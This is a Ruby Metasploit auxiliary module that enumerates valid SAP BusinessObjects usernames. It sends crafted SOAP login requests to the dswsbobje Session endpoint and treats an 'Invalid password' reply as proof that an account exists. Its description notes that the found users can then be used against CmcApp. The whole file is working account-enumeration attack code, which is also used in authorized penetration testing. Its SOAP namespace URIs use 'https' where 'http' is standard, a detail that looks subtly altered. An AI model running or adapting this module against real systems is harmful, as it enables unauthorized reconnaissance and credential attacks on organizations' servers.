##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'       => 'SAP BusinessObjects User Enumeration',
      'Description'  => %Q{
        This module simply attempts to enumerate SAP BusinessObjects
        users. The dswsbobje interface is only used to verify valid
        users for CmcApp. Therefore, any valid users that have been
        identified can be leveraged by logging into CmcApp.
        },
      'References'  =>
        [
          # General
          [ 'URL', 'https://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]
        ],
      'Author'     => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
      'License'    => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']),
      ])
    register_autofilter_ports([ 8080 ])
  end

  def run_host(ip)
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['URI'], "/services/listServices"),
      'method' => 'GET'
    }, 25)
    return if not res

    each_user_pass { |user, pass|
      enum_user(user)
    }
  end

  def enum_user(user='administrator', pass='invalid-sap-password-0d03b389-b7a1-4ecc-8898-e62d1836b72a')
    vprint_status("#{rhost}:#{rport} - Enumerating username:'#{user}'")
    success = false
    soapenv='https://schemas.xmlsoap.org/soap/envelope/'
    xmlns='https://session.dsws.businessobjects.com/2007/06/01'
    xsi='https://www.w3.org/2001/XMLSchema-instance'

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<soapenv:Envelope xmlns:soapenv="' +  soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
    data << '<soapenv:Body>' + "\r\n"
    data << '<login xmlns="' + xmlns + '">' + "\r\n"
    data << '<credential xmlns="' + xmlns + '" xmlns:ns="' + xmlns + '" xmlns:xsi="' + xsi + '" Login="' + user  + '" Password="' + pass + '" xsi:type="ns:EnterpriseCredential" />' + "\r\n"
    data << '</login>' + "\r\n"
    data << '</soapenv:Body>' + "\r\n"
    data << '</soapenv:Envelope>' + "\r\n\r\n"

    begin
      res = send_request_raw({
        'uri'     => normalize_uri(datastore['URI']) + "/services/Session",
        'method'  => 'POST',
        'data'    => data,
        'headers' =>
          {
            'Content-Length' => data.length,
            'SOAPAction'  => '"' + 'https://session.dsws.businessobjects.com/2007/06/01/login' + '"',
            'Content-Type'  => 'text/xml; charset=UTF-8',
          }
      }, 45)

      if res
        return :abort if (!res or (res and res.code == 404))
        success = true if(res and res.body.match(/Invalid password/i))
        success
      else
        vprint_error("[SAP BusinessObjects] No response")
        return :abort
      end

    rescue ::Rex::ConnectionError
      vprint_error("[SAP BusinessObjects] Unable to attempt authentication")
      return :abort
    end

    if success
      print_good("[SAP BusinessObjects] Found valid username : '#{user}'")
      return :next_user
    else
      return
    end
  end
end